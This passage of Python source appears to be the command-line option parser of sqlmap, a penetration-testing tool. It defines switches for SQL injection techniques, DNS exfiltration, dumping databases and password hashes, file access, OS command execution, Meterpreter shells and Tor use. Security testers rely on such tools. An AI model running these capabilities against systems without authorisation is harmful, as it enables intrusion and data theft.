        parser.add_argument(""--version"", dest=""showVersion"", action=""store_true"",
            help=""Show program's version number and exit"")

        parser.add_argument(""-v"", dest=""verbose"", type=int,
            help=""Verbosity level: 0-6 (default %d)"" % defaults.verbose)

        # Target options
        target = parser.add_argument_group(""Target"", ""At least one of these options has to be provided to define the target(s)"")

        target.add_argument(""-u"", ""--url"", dest=""url"",
            help=""Target URL (e.g. \""http://www.site.com/vuln.php?id=1\"")"")

        target.add_argument(""-d"", dest=""direct"",
            help=""Connection string for direct database connection"")

        target.add_argument(""-l"", dest=""logFile"",
            help=""Parse target(s) from Burp or WebScarab proxy log file"")

        target.add_argument(""-m"", dest=""bulkFile"",
            help=""Scan multiple targets given in a textual file "")

        target.add_argument(""-r"", dest=""requestFile"",
            help=""Load HTTP request from a file"")

        target.add_argument(""-g"", dest=""googleDork"",
            help=""Process Google dork results as target URLs"")

        target.add_argument(""-c"", dest=""configFile"",
            help=""Load options from a configuration INI file"")

        # Request options
        request = parser.add_argument_group(""Request"", ""These options can be used to specify how to connect to the target URL"")

        request.add_argument(""-A"", ""--user-agent"", dest=""agent"",
            help=""HTTP User-Agent header value"")

        request.add_argument(""-H"", ""--header"", dest=""header"",
            help=""Extra header (e.g. \""X-Forwarded-For: 127.0.0.1\"")"")

        request.add_argument(""--method"", dest=""method"",
            help=""Force usage of given HTTP method (e.g. PUT)"")

        request.add_argument(""--data"", dest=""data"",
            help=""Data string to be sent through POST (e.g. \""id=1\"")"")

        request.add_argument(""--param-del"", dest=""paramDel"",
            help=""Character used for splitting parameter values (e.g. &)"")

        request.add_argument(""--cookie"", dest=""cookie"",
            help=""HTTP Cookie header value (e.g. \""PHPSESSID=a8d127e..\"")"")

        request.add_argument(""--cookie-del"", dest=""cookieDel"",
            help=""Character used for splitting cookie values (e.g. ;)"")

        request.add_argument(""--live-cookies"", dest=""liveCookies"",
            help=""Live cookies file used for loading up-to-date values"")

        request.add_argument(""--load-cookies"", dest=""loadCookies"",
            help=""File containing cookies in Netscape/wget format"")

        request.add_argument(""--drop-set-cookie"", dest=""dropSetCookie"", action=""store_true"",
            help=""Ignore Set-Cookie header from response"")

        request.add_argument(""--mobile"", dest=""mobile"", action=""store_true"",
            help=""Imitate smartphone through HTTP User-Agent header"")

        request.add_argument(""--random-agent"", dest=""randomAgent"", action=""store_true"",
            help=""Use randomly selected HTTP User-Agent header value"")

        request.add_argument(""--host"", dest=""host"",
            help=""HTTP Host header value"")

        request.add_argument(""--referer"", dest=""referer"",
            help=""HTTP Referer header value"")

        request.add_argument(""--headers"", dest=""headers"",
            help=""Extra headers (e.g. \""Accept-Language: fr\\nETag: 123\"")"")

        request.add_argument(""--auth-type"", dest=""authType"",
            help=""HTTP authentication type (Basic, Digest, NTLM or PKI)"")

        request.add_argument(""--auth-cred"", dest=""authCred"",
            help=""HTTP authentication credentials (name:password)"")

        request.add_argument(""--auth-file"", dest=""authFile"",
            help=""HTTP authentication PEM cert/private key file"")

        request.add_argument(""--ignore-code"", dest=""ignoreCode"",
            help=""Ignore (problematic) HTTP error code (e.g. 401)"")

        request.add_argument(""--ignore-proxy"", dest=""ignoreProxy"", action=""store_true"",
            help=""Ignore system default proxy settings"")

        request.add_argument(""--ignore-redirects"", dest=""ignoreRedirects"", action=""store_true"",
            help=""Ignore redirection attempts"")

        request.add_argument(""--ignore-timeouts"", dest=""ignoreTimeouts"", action=""store_true"",
            help=""Ignore connection timeouts"")

        request.add_argument(""--proxy"", dest=""proxy"",
            help=""Use a proxy to connect to the target URL"")

        request.add_argument(""--proxy-cred"", dest=""proxyCred"",
            help=""Proxy authentication credentials (name:password)"")

        request.add_argument(""--proxy-file"", dest=""proxyFile"",
            help=""Load proxy list from a file"")

        request.add_argument(""--proxy-freq"", dest=""proxyFreq"", type=int,
            help=""Requests between change of proxy from a given list"")

        request.add_argument(""--tor"", dest=""tor"", action=""store_true"",
            help=""Use Tor anonymity network"")

        request.add_argument(""--tor-port"", dest=""torPort"",
            help=""Set Tor proxy port other than default"")

        request.add_argument(""--tor-type"", dest=""torType"",
            help=""Set Tor proxy type (HTTP, SOCKS4 or SOCKS5 (default))"")

        request.add_argument(""--check-tor"", dest=""checkTor"", action=""store_true"",
            help=""Check to see if Tor is used properly"")

        request.add_argument(""--delay"", dest=""delay"", type=float,
            help=""Delay in seconds between each HTTP request"")

        request.add_argument(""--timeout"", dest=""timeout"", type=float,
            help=""Seconds to wait before timeout connection (default %d)"" % defaults.timeout)

        request.add_argument(""--retries"", dest=""retries"", type=int,
            help=""Retries when the connection timeouts (default %d)"" % defaults.retries)

        request.add_argument(""--randomize"", dest=""rParam"",
            help=""Randomly change value for given parameter(s)"")

        request.add_argument(""--safe-url"", dest=""safeUrl"",
            help=""URL address to visit frequently during testing"")

        request.add_argument(""--safe-post"", dest=""safePost"",
            help=""POST data to send to a safe URL"")

        request.add_argument(""--safe-req"", dest=""safeReqFile"",
            help=""Load safe HTTP request from a file"")

        request.add_argument(""--safe-freq"", dest=""safeFreq"", type=int,
            help=""Regular requests between visits to a safe URL"")

        request.add_argument(""--skip-urlencode"", dest=""skipUrlEncode"", action=""store_true"",
            help=""Skip URL encoding of payload data"")

        request.add_argument(""--csrf-token"", dest=""csrfToken"",
            help=""Parameter used to hold anti-CSRF token"")

        request.add_argument(""--csrf-url"", dest=""csrfUrl"",
            help=""URL address to visit for extraction of anti-CSRF token"")

        request.add_argument(""--csrf-method"", dest=""csrfMethod"",
            help=""HTTP method to use during anti-CSRF token page visit"")

        request.add_argument(""--csrf-retries"", dest=""csrfRetries"", type=int,
            help=""Retries for anti-CSRF token retrieval (default %d)"" % defaults.csrfRetries)

        request.add_argument(""--force-ssl"", dest=""forceSSL"", action=""store_true"",
            help=""Force usage of SSL/HTTPS"")

        request.add_argument(""--chunked"", dest=""chunked"", action=""store_true"",
            help=""Use HTTP chunked transfer encoded (POST) requests"")

        request.add_argument(""--hpp"", dest=""hpp"", action=""store_true"",
            help=""Use HTTP parameter pollution method"")

        request.add_argument(""--eval"", dest=""evalCode"",
            help=""Evaluate provided Python code before the request (e.g. \""import hashlib;id2=hashlib.md5(id).hexdigest()\"")"")

        # Optimization options
        optimization = parser.add_argument_group(""Optimization"", ""These options can be used to optimize the performance of sqlmap"")

        optimization.add_argument(""-o"", dest=""optimize"", action=""store_true"",
            help=""Turn on all optimization switches"")

        optimization.add_argument(""--predict-output"", dest=""predictOutput"", action=""store_true"",
            help=""Predict common queries output"")

        optimization.add_argument(""--keep-alive"", dest=""keepAlive"", action=""store_true"",
            help=""Use persistent HTTP(s) connections"")

        optimization.add_argument(""--null-connection"", dest=""nullConnection"", action=""store_true"",
            help=""Retrieve page length without actual HTTP response body"")

        optimization.add_argument(""--threads"", dest=""threads"", type=int,
            help=""Max number of concurrent HTTP(s) requests (default %d)"" % defaults.threads)

        # Injection options
        injection = parser.add_argument_group(""Injection"", ""These options can be used to specify which parameters to test for, provide custom injection payloads and optional tampering scripts"")

        injection.add_argument(""-p"", dest=""testParameter"",
            help=""Testable parameter(s)"")

        injection.add_argument(""--skip"", dest=""skip"",
            help=""Skip testing for given parameter(s)"")

        injection.add_argument(""--skip-static"", dest=""skipStatic"", action=""store_true"",
            help=""Skip testing parameters that not appear to be dynamic"")

        injection.add_argument(""--param-exclude"", dest=""paramExclude"",
            help=""Regexp to exclude parameters from testing (e.g. \""ses\"")"")

        injection.add_argument(""--param-filter"", dest=""paramFilter"",
            help=""Select testable parameter(s) by place (e.g. \""POST\"")"")

        injection.add_argument(""--dbms"", dest=""dbms"",
            help=""Force back-end DBMS to provided value"")

        injection.add_argument(""--dbms-cred"", dest=""dbmsCred"",
            help=""DBMS authentication credentials (user:password)"")

        injection.add_argument(""--os"", dest=""os"",
            help=""Force back-end DBMS operating system to provided value"")

        injection.add_argument(""--invalid-bignum"", dest=""invalidBignum"", action=""store_true"",
            help=""Use big numbers for invalidating values"")

        injection.add_argument(""--invalid-logical"", dest=""invalidLogical"", action=""store_true"",
            help=""Use logical operations for invalidating values"")

        injection.add_argument(""--invalid-string"", dest=""invalidString"", action=""store_true"",
            help=""Use random strings for invalidating values"")

        injection.add_argument(""--no-cast"", dest=""noCast"", action=""store_true"",
            help=""Turn off payload casting mechanism"")

        injection.add_argument(""--no-escape"", dest=""noEscape"", action=""store_true"",
            help=""Turn off string escaping mechanism"")

        injection.add_argument(""--prefix"", dest=""prefix"",
            help=""Injection payload prefix string"")

        injection.add_argument(""--suffix"", dest=""suffix"",
            help=""Injection payload suffix string"")

        injection.add_argument(""--tamper"", dest=""tamper"",
            help=""Use given script(s) for tampering injection data"")

        # Detection options
        detection = parser.add_argument_group(""Detection"", ""These options can be used to customize the detection phase"")

        detection.add_argument(""--level"", dest=""level"", type=int,
            help=""Level of tests to perform (1-5, default %d)"" % defaults.level)

        detection.add_argument(""--risk"", dest=""risk"", type=int,
            help=""Risk of tests to perform (1-3, default %d)"" % defaults.risk)

        detection.add_argument(""--string"", dest=""string"",
            help=""String to match when query is evaluated to True"")

        detection.add_argument(""--not-string"", dest=""notString"",
            help=""String to match when query is evaluated to False"")

        detection.add_argument(""--regexp"", dest=""regexp"",
            help=""Regexp to match when query is evaluated to True"")

        detection.add_argument(""--code"", dest=""code"", type=int,
            help=""HTTP code to match when query is evaluated to True"")

        detection.add_argument(""--smart"", dest=""smart"", action=""store_true"",
            help=""Perform thorough tests only if positive heuristic(s)"")

        detection.add_argument(""--text-only"", dest=""textOnly"", action=""store_true"",
            help=""Compare pages based only on the textual content"")

        detection.add_argument(""--titles"", dest=""titles"", action=""store_true"",
            help=""Compare pages based only on their titles"")

        # Techniques options
        techniques = parser.add_argument_group(""Techniques"", ""These options can be used to tweak testing of specific SQL injection techniques"")

        techniques.add_argument(""--technique"", dest=""technique"",
            help=""SQL injection techniques to use (default \""%s\"")"" % defaults.technique)

        techniques.add_argument(""--time-sec"", dest=""timeSec"", type=int,
            help=""Seconds to delay the DBMS response (default %d)"" % defaults.timeSec)

        techniques.add_argument(""--union-cols"", dest=""uCols"",
            help=""Range of columns to test for UNION query SQL injection"")

        techniques.add_argument(""--union-char"", dest=""uChar"",
            help=""Character to use for bruteforcing number of columns"")

        techniques.add_argument(""--union-from"", dest=""uFrom"",
            help=""Table to use in FROM part of UNION query SQL injection"")

        techniques.add_argument(""--dns-domain"", dest=""dnsDomain"",
            help=""Domain name used for DNS exfiltration attack"")

        techniques.add_argument(""--second-url"", dest=""secondUrl"",
            help=""Resulting page URL searched for second-order response"")

        techniques.add_argument(""--second-req"", dest=""secondReq"",
            help=""Load second-order HTTP request from file"")

        # Fingerprint options
        fingerprint = parser.add_argument_group(""Fingerprint"")

        fingerprint.add_argument(""-f"", ""--fingerprint"", dest=""extensiveFp"", action=""store_true"",
            help=""Perform an extensive DBMS version fingerprint"")

        # Enumeration options
        enumeration = parser.add_argument_group(""Enumeration"", ""These options can be used to enumerate the back-end database management system information, structure and data contained in the tables"")

        enumeration.add_argument(""-a"", ""--all"", dest=""getAll"", action=""store_true"",
            help=""Retrieve everything"")

        enumeration.add_argument(""-b"", ""--banner"", dest=""getBanner"", action=""store_true"",
            help=""Retrieve DBMS banner"")

        enumeration.add_argument(""--current-user"", dest=""getCurrentUser"", action=""store_true"",
            help=""Retrieve DBMS current user"")

        enumeration.add_argument(""--current-db"", dest=""getCurrentDb"", action=""store_true"",
            help=""Retrieve DBMS current database"")

        enumeration.add_argument(""--hostname"", dest=""getHostname"", action=""store_true"",
            help=""Retrieve DBMS server hostname"")

        enumeration.add_argument(""--is-dba"", dest=""isDba"", action=""store_true"",
            help=""Detect if the DBMS current user is DBA"")

        enumeration.add_argument(""--users"", dest=""getUsers"", action=""store_true"",
            help=""Enumerate DBMS users"")

        enumeration.add_argument(""--passwords"", dest=""getPasswordHashes"", action=""store_true"",
            help=""Enumerate DBMS users password hashes"")

        enumeration.add_argument(""--privileges"", dest=""getPrivileges"", action=""store_true"",
            help=""Enumerate DBMS users privileges"")

        enumeration.add_argument(""--roles"", dest=""getRoles"", action=""store_true"",
            help=""Enumerate DBMS users roles"")

        enumeration.add_argument(""--dbs"", dest=""getDbs"", action=""store_true"",
            help=""Enumerate DBMS databases"")

        enumeration.add_argument(""--tables"", dest=""getTables"", action=""store_true"",
            help=""Enumerate DBMS database tables"")

        enumeration.add_argument(""--columns"", dest=""getColumns"", action=""store_true"",
            help=""Enumerate DBMS database table columns"")

        enumeration.add_argument(""--schema"", dest=""getSchema"", action=""store_true"",
            help=""Enumerate DBMS schema"")

        enumeration.add_argument(""--count"", dest=""getCount"", action=""store_true"",
            help=""Retrieve number of entries for table(s)"")

        enumeration.add_argument(""--dump"", dest=""dumpTable"", action=""store_true"",
            help=""Dump DBMS database table entries"")

        enumeration.add_argument(""--dump-all"", dest=""dumpAll"", action=""store_true"",
            help=""Dump all DBMS databases tables entries"")

        enumeration.add_argument(""--search"", dest=""search"", action=""store_true"",
            help=""Search column(s), table(s) and/or database name(s)"")

        enumeration.add_argument(""--comments"", dest=""getComments"", action=""store_true"",
            help=""Check for DBMS comments during enumeration"")

        enumeration.add_argument(""--statements"", dest=""getStatements"", action=""store_true"",
            help=""Retrieve SQL statements being run on DBMS"")

        enumeration.add_argument(""-D"", dest=""db"",
            help=""DBMS database to enumerate"")

        enumeration.add_argument(""-T"", dest=""tbl"",
            help=""DBMS database table(s) to enumerate"")

        enumeration.add_argument(""-C"", dest=""col"",
            help=""DBMS database table column(s) to enumerate"")

        enumeration.add_argument(""-X"", dest=""exclude"",
            help=""DBMS database identifier(s) to not enumerate"")

        enumeration.add_argument(""-U"", dest=""user"",
            help=""DBMS user to enumerate"")

        enumeration.add_argument(""--exclude-sysdbs"", dest=""excludeSysDbs"", action=""store_true"",
            help=""Exclude DBMS system databases when enumerating tables"")

        enumeration.add_argument(""--pivot-column"", dest=""pivotColumn"",
            help=""Pivot column name"")

        enumeration.add_argument(""--where"", dest=""dumpWhere"",
            help=""Use WHERE condition while table dumping"")

        enumeration.add_argument(""--start"", dest=""limitStart"", type=int,
            help=""First dump table entry to retrieve"")

        enumeration.add_argument(""--stop"", dest=""limitStop"", type=int,
            help=""Last dump table entry to retrieve"")

        enumeration.add_argument(""--first"", dest=""firstChar"", type=int,
            help=""First query output word character to retrieve"")

        enumeration.add_argument(""--last"", dest=""lastChar"", type=int,
            help=""Last query output word character to retrieve"")

        enumeration.add_argument(""--sql-query"", dest=""sqlQuery"",
            help=""SQL statement to be executed"")

        enumeration.add_argument(""--sql-shell"", dest=""sqlShell"", action=""store_true"",
            help=""Prompt for an interactive SQL shell"")

        enumeration.add_argument(""--sql-file"", dest=""sqlFile"",
            help=""Execute SQL statements from given file(s)"")

        # Brute force options
        brute = parser.add_argument_group(""Brute force"", ""These options can be used to run brute force checks"")

        brute.add_argument(""--common-tables"", dest=""commonTables"", action=""store_true"",
            help=""Check existence of common tables"")

        brute.add_argument(""--common-columns"", dest=""commonColumns"", action=""store_true"",
            help=""Check existence of common columns"")

        brute.add_argument(""--common-files"", dest=""commonFiles"", action=""store_true"",
            help=""Check existence of common files"")

        # User-defined function options
        udf = parser.add_argument_group(""User-defined function injection"", ""These options can be used to create custom user-defined functions"")

        udf.add_argument(""--udf-inject"", dest=""udfInject"", action=""store_true"",
            help=""Inject custom user-defined functions"")

        udf.add_argument(""--shared-lib"", dest=""shLib"",
            help=""Local path of the shared library"")

        # File system options
        filesystem = parser.add_argument_group(""File system access"", ""These options can be used to access the back-end database management system underlying file system"")

        filesystem.add_argument(""--file-read"", dest=""fileRead"",
            help=""Read a file from the back-end DBMS file system"")

        filesystem.add_argument(""--file-write"", dest=""fileWrite"",
            help=""Write a local file on the back-end DBMS file system"")

        filesystem.add_argument(""--file-dest"", dest=""fileDest"",
            help=""Back-end DBMS absolute filepath to write to"")

        # Takeover options
        takeover = parser.add_argument_group(""Operating system access"", ""These options can be used to access the back-end database management system underlying operating system"")

        takeover.add_argument(""--os-cmd"", dest=""osCmd"",
            help=""Execute an operating system command"")

        takeover.add_argument(""--os-shell"", dest=""osShell"", action=""store_true"",
            help=""Prompt for an interactive operating system shell"")

        takeover.add_argument(""--os-pwn"", dest=""osPwn"", action=""store_true"",
            help=""Prompt for an OOB shell, Meterpreter or VNC"")

        takeover.add_argument(""--os-smbrelay"", dest=""osSmb"", action=""store_true"",
            help=""One click prompt for an OOB shell, Meterpreter or VNC"")

        takeover.add_argument(""--os-bof"", dest=""osBof"", action=""store_true"",
            help=""Stored procedure buffer overflow ""
                                 ""exploitation"")

        takeover.add_argument(""--priv-esc"", dest=""privEsc"", action=""store_true"",
            help=""Database process user privilege escalation"")

        takeover.add_argument(""--msf-path"", dest=""msfPath"",
            help=""Local path where Metasploit Framework is installed"")

        takeover.add_argument(""--tmp-path"", dest=""tmpPath"",
            help=""Remote absolute path of temporary files directory"")

        # Windows registry options
        windows = parser.add_argument_group(""Windows registry access"", ""These options can be used to access the back-end database management system Windows registry"")

        windows.add_argument(""--reg-read"", dest=""regRead"", action=""store_true"",
            help=""Read a Windows registry key value"")

        windows.add_argument(""--reg-add"", dest=""regAdd"", action=""store_true"",
            help=""Write a Windows registry key value data"")

        windows.add_argument(""--reg-del"", dest=""regDel"", action=""store_true"",
            help=""Delete a Windows registry key value"")

        windows.add_argument(""--reg-key"", dest=""regKey"",
            help=""Windows registry key"")

        windows.add_argument(""--reg-value"", dest=""regVal"",
            help=""Windows registry key value"")

        windows.add_argument(""--reg-data"", dest=""regData"",
            help=""Windows registry key value data"")

        windows.add_argument(""--reg-type"", dest=""regType"",
            help=""Windows registry key value type"")

        # General options
        general = parser.add_argument_group(""General"", ""These options can be used to set some general working parameters"")

        general.add_argument(""-s"", dest=""sessionFile"",
            help=""Load session from a stored (.sqlite) file"")

        general.add_argument(""-t"", dest=""trafficFile"",
            help=""Log all HTTP traffic into a textual file"")

        general.add_argument(""--answers"", dest=""answers"",
            help=""Set predefined answers (e.g. \""quit=N,follow=N\"")"")

        general.add_argument(""--base64"", dest=""base64Parameter"",
            help=""Parameter(s) containing Base64 encoded data"")

        general.add_argument(""--base64-safe"", dest=""base64Safe"", action=""store_true"",
            help=""Use URL and filename safe Base64 alphabet (RFC 4648)"")

        general.add_argument(""--batch"", dest=""batch"", action=""store_true"",
            help=""Never ask for user input, use the default behavior"")

        general.add_argument(""--binary-fields"", dest=""binaryFields"",
            help=""Result fields having binary values (e.g. \""digest\"")"")

        general.add_argument(""--check-internet"", dest=""checkInternet"", action=""store_true"",
            help=""Check Internet connection before assessing the target"")

        general.add_argument(""--cleanup"", dest=""cleanup"", action=""store_true"",
            help=""Clean up the DBMS from sqlmap specific UDF and tables"")

        general.add_argument(""--crawl"", dest=""crawlDepth"", type=int,
            help=""Crawl the website starting from the target URL"")

        general.add_argument(""--crawl-exclude"", dest=""crawlExclude"",
            help=""Regexp to exclude pages from crawling (e.g. \""logout\"")"")

        general.add_argument(""--csv-del"", dest=""csvDel"",
            help=""Delimiting character used in CSV output (default \""%s\"")"" % defaults.csvDel)

        general.add_argument(""--charset"", dest=""charset"",
            help=""Blind SQL injection charset (e.g. \""0123456789abcdef\"")"")

        general.add_argument(""--dump-format"", dest=""dumpFormat"",
            help=""Format of dumped data (CSV (default), HTML or SQLITE)"")

        general.add_argument(""--encoding"", dest=""encoding"",
            help=""Character encoding used for data retrieval (e.g. GBK)"")

        general.add_argument(""--eta"", dest=""eta"", action=""store_true"",
            help=""Display for each output the estimated time of arrival"")

        general.add_argument(""--flush-session"", dest=""flushSession"", action=""store_true"",
            help=""Flush session files for current target"")

        general.add_argument(""--forms"", dest=""forms"", action=""store_true"",
            help=""Parse and test forms on target URL"")

        general.add_argument(""--fresh-queries"", dest=""freshQueries"", action=""store_true"",
            help=""Ignore query results stored in session file"")

        general.add_argument(""--gpage"", dest=""googlePage"", type=int,
            help=""Use Google dork results from specified page number"")

        general.add_argument(""--har"", dest=""harFile"",
            help=""Log all HTTP traffic into a HAR file"")

        general.add_argument(""--hex"", dest=""hexConvert"", action=""store_true"",
            help=""Use hex conversion during data retrieval"")

        general.add_argument(""--output-dir"", dest=""outputDir"", action=""store"",
            help=""Custom output directory path"")

        general.add_argument(""--parse-errors"", dest=""parseErrors"", action=""store_true"",
            help=""Parse and display DBMS error messages from responses"")

        general.add_argument(""--preprocess"", dest=""preprocess"",
            help=""Use given script(s) for preprocessing (request)"")

        general.add_argument(""--postprocess"", dest=""postprocess"",
            help=""Use given script(s) for postprocessing (response)"")

        general.add_argument(""--repair"", dest=""repair"", action=""store_true"",
            help=""Redump entries having unknown character marker (%s)"" % INFERENCE_UNKNOWN_CHAR)

        general.add_argument(""--save"", dest=""saveConfig"",
            help=""Save options to a configuration INI file"")

        general.add_argument(""--scope"", dest=""scope"",
            help=""Regexp for filtering targets"")

        general.add_argument(""--skip-heuristics"", dest=""skipHeuristics"", action=""store_true"",
            help=""Skip heuristic detection of vulnerabilities"")

        general.add_argument(""--skip-waf"", dest=""skipWaf"", action=""store_true"",
            help=""Skip heuristic detection of WAF/IPS protection"")

        general.add_argument(""--table-prefix"", dest=""tablePrefix"",
            help=""Prefix used for temporary tables (default: \""%s\"")"" % defaults.tablePrefix)

        general.add_argument(""--test-filter"", dest=""testFilter"",
            help=""Select tests by payloads and/or titles (e.g. ROW)"")

        general.add_argument(""--test-skip"", dest=""testSkip"",
            help=""Skip tests by payloads and/or titles (e.g. BENCHMARK)"")

        general.add_argument(""--web-root"", dest=""webRoot"",
            help=""Web server document root directory (e.g. \""/var/www\"")"")

        # Miscellaneous options
        miscellaneous = parser.add_argument_group(""Miscellaneous"", ""These options do not fit into any other category"")

        miscellaneous.add_argument(""-z"", dest=""mnemonics"",
            help=""Use short mnemonics (e.g. \""flu,bat,ban,tec=EU\"")"")

        miscellaneous.add_argument(""--alert"", dest=""alert"",
            help=""Run host OS command(s) when SQL injection is found"")

        miscellaneous.add_argument(""--beep"", dest=""beep"", action=""store_true"",
            help=""Beep on question and/or when vulnerability is found"")

        miscellaneous.add_argument(""--dependencies"", dest=""dependencies"", action=""store_true"",
            help=""Check for missing (optional) sqlmap dependencies"")

        miscellaneous.add_argument(""--disable-coloring"", dest=""disableColoring"", action=""store_true"",
            help=""Disable console output coloring"")

        miscellaneous.add_argument(""--list-tampers"", dest=""listTampers"", action=""store_true"",
            help=""Display list of available tamper scripts"")

        miscellaneous.add_argument(""--offline"", dest=""offline"", action=""store_true"",
            help=""Work in offline mode (only use session data)"")

        miscellaneous.add_argument(""--purge"", dest=""purge"", action=""store_true"",
            help=""Safely remove all content from sqlmap data directory"")

        miscellaneous.add_argument(""--results-file"", dest=""resultsFile"",
            help=""Location of CSV results file in multiple targets mode"")

        miscellaneous.add_argument(""--shell"", dest=""shell"", action=""store_true"",
            help=""Prompt for an interactive sqlmap shell"")

        miscellaneous.add_argument(""--tmp-dir"", dest=""tmpDir"",
            help=""Local directory for storing temporary files"")

        miscellaneous.add_argument(""--unstable"", dest=""unstable"", action=""store_true"",
            help=""Adjust options for unstable connections"")

        miscellaneous.add_argument(""--update"", dest=""updateAll"", action=""store_true"",
            help=""Update sqlmap"")

        miscellaneous.add_argument(""--wizard"", dest=""wizard"", action=""store_true"",
            help=""Simple wizard interface for beginner users"")

        # Hidden and/or experimental options
        parser.add_argument(""--crack"", dest=""hashFile"",
            help=SUPPRESS)  # ""Load and crack hashes from a file (standalone)""

        parser.add_argument(""--dummy"", dest=""dummy"", action=""store_true"",
            help=SUPPRESS)

        parser.add_argument(""--yuge"", dest=""yuge"", action=""store_true"",
            help=SUPPRESS)

        parser.add_argument(""--murphy-rate"", dest=""murphyRate"", type=int,
            help=SUPPRESS)

        parser.add_argument(""--debug"", dest=""debug"", action=""store_true"",
            help=SUPPRESS)

        parser.add_argument(""--deprecations"", dest=""deprecations"", action=""store_true"",
            help=SUPPRESS)

        parser.add_argument(""--disable-multi"", dest=""disableMulti"", action=""store_true"",
            help=SUPPRESS)

        parser.add_argument(""--disable-precon"", dest=""disablePrecon"", action=""store_true"",
            help=SUPPRESS)

        parser.add_argument(""--disable-stats"", dest=""disableStats"", action=""store_true"",
            help=SUPPRESS)

        parser.add_argument(""--profile"", dest=""profile"", action=""store_true"",
            help=SUPPRESS)

        parser.add_argument(""--localhost"", dest=""localhost"", action=""store_true"",
            help=SUPPRESS)

        parser.add_argument(""--force-dbms"", dest=""forceDbms"",
            help=SUPPRESS)

        parser.add_argument(""--force-dns"", dest=""forceDns"", action=""store_true"",
            help=SUPPRESS)

        parser.add_argument(""--force-partial"", dest=""forcePartial"", action=""store_true"",
            help=SUPPRESS)

        parser.add_argument(""--force-pivoting"", dest=""forcePivoting"", action=""store_true"",
            help=SUPPRESS)

        parser.add_argument(""--non-interactive"", dest=""nonInteractive"", action=""store_true"",
            help=SUPPRESS)

        parser.add_argument(""--gui"", dest=""gui"", action=""store_true"",
            help=SUPPRESS)

        parser.add_argument(""--smoke-test"", dest=""smokeTest"", action=""store_true"",
            help=SUPPRESS)

        parser.add_argument(""--vuln-test"", dest=""vulnTest"", action=""store_true"",
            help=SUPPRESS)

        parser.add_argument(""--fuzz-test"", dest=""fuzzTest"", action=""store_true"",
            help=SUPPRESS)

        # API options
        parser.add_argument(""--api"", dest=""api"", action=""store_true"",
            help=SUPPRESS)

        parser.add_argument(""--taskid"", dest=""taskid"",
            help=SUPPRESS)

        parser.add_argument(""--database"", dest=""database"",
            help=SUPPRESS)

        # Dirty hack to display longer options without breaking into two lines
        if hasattr(parser, ""formatter""):
            def _(self, *args):
                retVal = parser.formatter._format_option_strings(*args)
                if len(retVal) > MAX_HELP_OPTION_LENGTH:
                    retVal = (""%%.%ds.."" % (MAX_HELP_OPTION_LENGTH - parser.formatter.indent_increment)) % retVal
                return retVal

            parser.formatter._format_option_strings = parser.formatter.format_option_strings
            parser.formatter.format_option_strings = type(parser.formatter.format_option_strings)(_, parser)
        else:
            def _format_action_invocation(self, action):
                retVal = self.__format_action_invocation(action)
                if len(retVal) > MAX_HELP_OPTION_LENGTH:
                    retVal = (""%%.%ds.."" % (MAX_HELP_OPTION_LENGTH - self._indent_increment)) % retVal
                return retVal

            parser.formatter_class.__format_action_invocation = parser.formatter_class._format_action_invocation
            parser.formatter_class._format_action_invocation = _format_action_invocation

        # Dirty hack for making a short option '-hh'
        if hasattr(parser, ""get_option""):
            option = parser.get_option(""--hh"")
            option._short_opts = [""-hh""]
            option._long_opts = []
        else:
            for action in get_actions(parser):
                if action.option_strings == [""--hh""]:
                    action.option_strings = [""-hh""]
                    break

        # Dirty hack for inherent help message of switch '-h'
        if hasattr(parser, ""get_option""):
            option = parser.get_option(""-h"")
            option.help = option.help.capitalize().replace(""this help"", ""basic help"")
        else:
            for action in get_actions(parser):
                if action.option_strings == [""-h"", ""--help""]:
                    action.help = action.help.capitalize().replace(""this help"", ""basic help"")
                    break

        _ = []
        advancedHelp = True
        extraHeaders = []
        auxIndexes = {}

        # Reference: https://stackoverflow.com/a/4012683 (Note: previously used ""...sys.getfilesystemencoding() or UNICODE_ENCODING"")
        for arg in argv:
            _.append(getUnicode(arg, encoding=sys.stdin.encoding))

        argv = _
        checkOldOptions(argv)

        if ""--gui"" in argv:
            from lib.core.gui import runGui

            runGui(parser)

            raise SqlmapSilentQuitException

        elif ""--shell"" in argv:
            _createHomeDirectories()

            parser.usage = """"
            cmdLineOptions.sqlmapShell = True

            commands = set((""x"", ""q"", ""exit"", ""quit"", ""clear""))
            commands.update(get_all_options(parser))

            autoCompletion(AUTOCOMPLETE_TYPE.SQLMAP, commands=commands)

            while True:
                command = None
                prompt = ""sqlmap > ""

                try:
                    # Note: in Python2 command should not be converted to Unicode before passing to shlex (Reference: https://bugs.python.org/issue1170)
                    command = _input(prompt).strip()
                except (KeyboardInterrupt, EOFError):
                    print()
                    raise SqlmapShellQuitException

                command = re.sub(r""(?i)\Anew\s+"", """", command or """")

                if not command:
                    continue
                elif command.lower() == ""clear"":
                    clearHistory()
                    dataToStdout(""[i] history cleared\n"")
                    saveHistory(AUTOCOMPLETE_TYPE.SQLMAP)
                elif command.lower() in (""x"", ""q"", ""exit"", ""quit""):
                    raise SqlmapShellQuitException
                elif command[0] != '-':
                    if not re.search(r""(?i)\A(\?|help)\Z"", command):
                        dataToStdout(""[!] invalid option(s) provided\n"")
                    dataToStdout(""[i] valid example: '-u http://www.site.com/vuln.php?id=1 --banner'\n"")
                else:
                    saveHistory(AUTOCOMPLETE_TYPE.SQLMAP)
                    loadHistory(AUTOCOMPLETE_TYPE.SQLMAP)
                    break

            try:
                for arg in shlex.split(command):
                    argv.append(getUnicode(arg, encoding=sys.stdin.encoding))
            except ValueError as ex:
                raise SqlmapSyntaxException(""something went wrong during command line parsing ('%s')"" % getSafeExString(ex))

        longOptions = set(re.findall(r""\-\-([^= ]+?)="", parser.format_help()))
        longSwitches = set(re.findall(r""\-\-([^= ]+?)\s"", parser.format_help()))

        for i in xrange(len(argv)):
            # Reference: https://en.wiktionary.org/wiki/-
            argv[i] = re.sub(u""\\A(\u2010|\u2013|\u2212|\u2014|\u4e00|\u1680|\uFE63|\uFF0D)+"", lambda match: '-' * len(match.group(0)), argv[i])

            # Reference: https://unicode-table.com/en/sets/quotation-marks/
            argv[i] = argv[i].strip(u""\u00AB\u2039\u00BB\u203A\u201E\u201C\u201F\u201D\u2019\u0022\u275D\u275E\u276E\u276F\u2E42\u301D\u301E\u301F\uFF02\u201A\u2018\u201B\u275B\u275C"")

            if argv[i] == ""-hh"":
                argv[i] = ""-h""
            elif i == 1 and re.search(r""\A(http|www\.|\w[\w.-]+\.\w{2,})"", argv[i]) is not None:
                argv[i] = ""--url=%s"" % argv[i]
